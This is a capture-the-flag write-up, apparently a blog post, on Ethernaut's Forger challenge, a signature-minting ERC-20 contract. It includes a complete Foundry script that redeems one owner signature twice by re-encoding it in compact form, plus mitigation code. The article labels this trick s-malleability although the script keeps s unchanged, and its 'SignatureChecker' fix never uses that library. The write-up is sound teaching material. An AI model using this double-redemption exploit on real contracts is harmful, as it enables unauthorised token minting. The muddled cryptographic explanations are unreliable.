Appearance
Exploiting Signature Malleability in Ethereum: A Deep Dive into the Forger CTF Challenge
Introduction
In the world of blockchain security, cryptographic signatures serve as the bedrock of trust and authentication. However, even the most robust cryptographic systems can harbor subtle vulnerabilities that, when exploited, can lead to significant security breaches. The Forger CTF challenge from Ethernaut presents a fascinating case study in Ethereum signature malleability—a vulnerability that allows attackers to create multiple valid signatures from a single original signature. This technical article will dissect the Forger challenge, exploring the underlying cryptographic principles, the vulnerability's mechanics, and the step-by-step exploitation process.
Understanding the Forger Challenge
Challenge Overview
The Forger challenge presents us with an ERC-20 token contract that implements a signature-based minting mechanism. The contract owner can sign messages authorizing token minting, and users can redeem these signatures to mint tokens. The challenge description reveals that one "golden signature" already exists, good for 100 tokens, and the developers claim the system is "single-use and perfectly safe." Our objective is to prove otherwise by increasing the total token supply beyond 100 tokens.
The Contract Architecture
Let's examine the core contract structure:
solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
import { ERC20 } from "openzeppelin-contracts-v4.6.0/token/ERC20/ERC20.sol";
import { ECDSA } from "openzeppelin-contracts-v4.6.0/utils/cryptography/ECDSA.sol";
contract Forger is ERC20 {
error SignatureExpired();
error SignatureUsed();
error InvalidSigner(address wrongSigner);
error OnlyOwner();
address public owner = 0xC9CAF9e17BBb4e4D27810d97d2C2a467A701e0D5;
mapping(bytes32 signatureHash => bool used) public signatureUsed;
constructor() ERC20("Forger Token", "FT") {}
// ... function implementations
}
The contract maintains a mapping signatureUsed to track which signatures have been redeemed, preventing double-spending. The critical vulnerability lies in the signature verification logic.
Cryptographic Foundations: ECDSA in Ethereum
ECDSA Basics
Elliptic Curve Digital Signature Algorithm (ECDSA) is the cryptographic standard used by Ethereum for signing transactions and messages. The algorithm operates on the secp256k1 elliptic curve and produces signatures consisting of three components: (r, s, v).
- r: The x-coordinate of a random point on the elliptic curve
- s: A value calculated from the private key, message hash, and random value
- v: The recovery identifier (27 or 28 in Ethereum)
Signature Verification Process
When verifying an ECDSA signature, the verifier:
- Computes the message hash
- Uses the signature components
(r, s, v)to recover the signer's public key - Compares the recovered address with the expected signer's address
The Malleability Vulnerability
ECDSA signatures have a mathematical property known as malleability. Given a valid signature (r, s, v), an alternative valid signature can be created as (r, -s mod n, v'), where n is the order of the elliptic curve group. In Ethereum terms, this means if v is 27, the alternative signature will have v = 28, and vice versa.
Analyzing the Vulnerability
The Signature Storage Mechanism
The Forger contract stores used signatures by their hash:
solidity
mapping(bytes32 signatureHash => bool used) public signatureUsed;
And checks for reuse:
solidity
require(!signatureUsed[keccak256(signature)], SignatureUsed());
This seems secure at first glance, but the vulnerability emerges from how signatures are hashed and compared.
The Critical Flaw
The contract hashes the raw signature bytes to create a storage key. However, two mathematically equivalent signatures (the original and its malleable counterpart) will produce different byte sequences and therefore different hashes. The contract doesn't normalize signatures before hashing them, allowing both versions to pass as unique, valid signatures.
The Provided Golden Signature
The challenge provides us with a pre-signed signature:
solidity
// signature = f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c
// amount = 100 ether
// receiver = 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
// salt = 0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d
// deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935
Let's break down this signature:
- It's a 65-byte signature (32 bytes for r + 32 bytes for s + 1 byte for v)
- The last byte
0x1cindicatesv = 28 - The r component:
f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809 - The s component:
402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb
Crafting the Exploit
Step 1: Understanding Signature Components
First, we need to extract the components from the provided signature:
solidity
bytes memory signature28 = bytes(hex"f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c");
// Extracting components
bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
uint8 v = 28;
Step 2: Creating the Malleable Signature
To create the malleable counterpart, we need to:
- Calculate
-s mod n(where n is the curve order) - Change
vfrom 28 to 27
However, there's a simpler approach in Ethereum. The OpenZeppelin ECDSA library handles signature malleability internally when recovering addresses, but the contract stores raw signature hashes. We can exploit this by creating the compact representation with different v values.
Step 3: Building the Compact Signature
Ethereum signatures can be represented in two formats:
- Traditional format:
r || s || v(65 bytes) - Compact format:
r || vs(64 bytes), wherevscombinessandv
The compact format encodes the v bit in the most significant bit of s. Here's how we construct it:
solidity
bytes memory compactSig;
{
bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
uint8 v = 28;
bytes32 vs;
if (v == 27) {
vs = s;
} else {
// Set the most significant bit to indicate v = 28
vs = s | bytes32(uint256(1) << 255);
}
compactSig = abi.encodePacked(r, vs);
}
Step 4: The Complete Exploit Script
Here's the complete exploit script that redeems both signature versions:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {Forger} from "../test/forger/Forger.sol";
contract MyScript is Script {
function run() external {
// Replace with actual Forger instance address
address FORGER_INST = payable(address(0x...));
// Original signature with v=28
bytes memory signature28 = bytes(hex"f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c");
// Parameters from the challenge
uint256 amount = 100 ether;
address receiver = address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e);
bytes32 salt = 0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d;
uint256 deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
// Create compact signature representation
bytes memory compactSig;
{
bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
uint8 v = 28;
bytes32 vs;
if (v == 27) {
vs = s;
} else {
vs = s | bytes32(uint256(1) << 255);
}
compactSig = abi.encodePacked(r, vs);
}
// Load player's private key for broadcasting
uint256 playerpk = vm.envUint("PRIVATE_KEY");
// Execute both transactions
vm.startBroadcast(playerpk);
// First transaction: redeem original signature
Forger(FORGER_INST).createNewTokensFromOwnerSignature(
signature28,
receiver,
amount,
salt,
deadline
);
// Second transaction: redeem compact signature (different hash, same validity)
Forger(FORGER_INST).createNewTokensFromOwnerSignature(
compactSig,
receiver,
amount,
salt,
deadline
);
vm.stopBroadcast();
}
}
Technical Deep Dive: Why This Works
Hash Collision Avoidance
The core issue is that keccak256(signature28) ≠ keccak256(compactSig). Even though both signatures recover to the same signer address, their byte representations differ:
signature28: 65 bytes (r + s + v)compactSig: 64 bytes (r + vs)
The contract's signatureUsed mapping stores hashes of these different byte sequences as separate entries, allowing both to pass the "signature used" check.
ECDSA Recovery Consistency
Both signature formats correctly recover to the owner's address because:
- The OpenZeppelin
ECDSA.recover()function handles both signature formats - It internally normalizes signatures to prevent malleability attacks at the recovery level
- However, the contract checks signature uniqueness BEFORE recovery, creating a window of vulnerability
Mathematical Proof of Malleability
For the mathematically inclined, here's why signature malleability exists in ECDSA:
Given a signature (r, s) where:
s = k⁻¹(z + r*d) mod nkis a random noncezis the message hashdis the private keynis the curve order
The alternative signature (r, -s mod n) is also valid because:
-s = -k⁻¹(z + r*d) mod n- The verification equation
s⁻¹(z*G + r*Q)still holds, whereQ = d*G
Mitigation Strategies
1. Signature Normalization
The most robust solution is to normalize signatures before hashing them:
solidity
function normalizeSignature(bytes memory signature) internal pure returns (bytes memory) {
require(signature.length == 65, "Invalid signature length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
// Normalize to lower s value (prevent malleability)
uint256 sValue = uint256(s);
uint256 n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
if (sValue > n / 2) {
sValue = n - sValue;
v = v == 27 ? 28 : 27;
}
// Always use traditional format for consistency
return abi.encodePacked(bytes32(r), bytes32(sValue), bytes1(v));
}
function createNewTokensFromOwnerSignatureFixed(
bytes calldata signature,
address receiver,
uint256 amount,
bytes32 salt,
uint256 deadline
) public {
require(block.timestamp <= deadline, SignatureExpired());
bytes memory normalizedSig = normalizeSignature(signature);
require(!signatureUsed[keccak256(normalizedSig)], SignatureUsed());
bytes32 messageHash = keccak256(abi.encode(
receiver,
amount,
salt,
deadline
));
address signer = ECDSA.recover(messageHash, signature);
require(signer == owner, InvalidSigner(signer));
signatureUsed[keccak256(normalizedSig)] = true;
_mint(receiver, amount);
}
2. Use OpenZeppelin's SignatureChecker
OpenZeppelin provides a SignatureChecker library that handles signature validation more securely:
solidity
import {SignatureChecker} from "openzeppelin-contracts/utils/cryptography/SignatureChecker.sol";
function createNewTokensFromOwnerSignatureSecure(
bytes calldata signature,
address receiver,
uint256 amount,
bytes32 salt,
uint256 deadline
) public {
require(block.timestamp <= deadline, SignatureExpired());
// Use ECDSA.tryRecover to get normalized signature hash
bytes32 messageHash = keccak256(abi.encode(
receiver,
amount,
salt,
deadline
));
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(messageHash);
address signer = ECDSA.recover(ethSignedMessageHash, signature);
// Check signature uniqueness using signer + message hash
bytes32 uniqueId = keccak256(abi.encodePacked(signer, ethSignedMessageHash));
require(!signatureUsed[uniqueId], SignatureUsed());
require(signer == owner, InvalidSigner(signer));
signatureUsed[uniqueId] = true;
_mint(receiver, amount);
}
3. Nonce-Based Solution
Another approach is to use a nonce system instead of signature hashing:
solidity
mapping(address => uint256) public nonces;
function createNewTokensWithNonce(
bytes calldata signature,
address receiver,
uint256 amount,
uint256 deadline
) public {
require(block.timestamp <= deadline, SignatureExpired());
uint256 currentNonce = nonces[receiver];
bytes32 messageHash = keccak256(abi.encode(
receiver,
amount,
currentNonce,
deadline
));
address signer = ECDSA.recover(messageHash, signature);
require(signer == owner, InvalidSigner(signer));
nonces[receiver]++;
_mint(receiver, amount);
}
Broader Implications and Real-World Impact
Historical Context
Signature malleability has been a known issue in blockchain systems:
- Bitcoin: Addressed in BIP 62
- Ethereum: The issue was exploited in early smart contracts
- EIP-2: Hard-fork changes made to prevent transaction malleability
Real-World Exploits
Similar vulnerabilities have been exploited in:
- Multi-signature wallets: Where signature ordering could be manipulated
- Token sale contracts: Allowing multiple redemptions of whitelist signatures
- DeFi protocols: Where signature-based approvals could be replayed
Security Best Practices
- Always normalize signatures before storage or comparison
- Use established libraries like OpenZeppelin's ECDSA implementation
- Implement replay protection with nonces or block constraints
- Consider using EIP-712 for structured data signing
- Regular security audits for signature-handling code
Conclusion
The Forger CTF challenge provides a valuable lesson in cryptographic security. While ECDSA is mathematically sound, its implementation in smart contracts requires careful consideration of edge cases like signature malleability. The vulnerability exploited in this challenge—different signature representations producing different hashes—highlights the importance of normalizing cryptographic data before processing.
For developers, the key takeaways are:
- Never trust raw signature bytes for uniqueness checks
- Always use established, audited libraries for cryptographic operations
- Consider the broader context of how signatures are used and stored
- Implement defense-in-depth with multiple layers of validation
For security researchers, this challenge demonstrates that even seemingly secure systems can harbor subtle vulnerabilities. The intersection of cryptography and smart contract development requires expertise in both domains to build truly secure systems.
As blockchain technology continues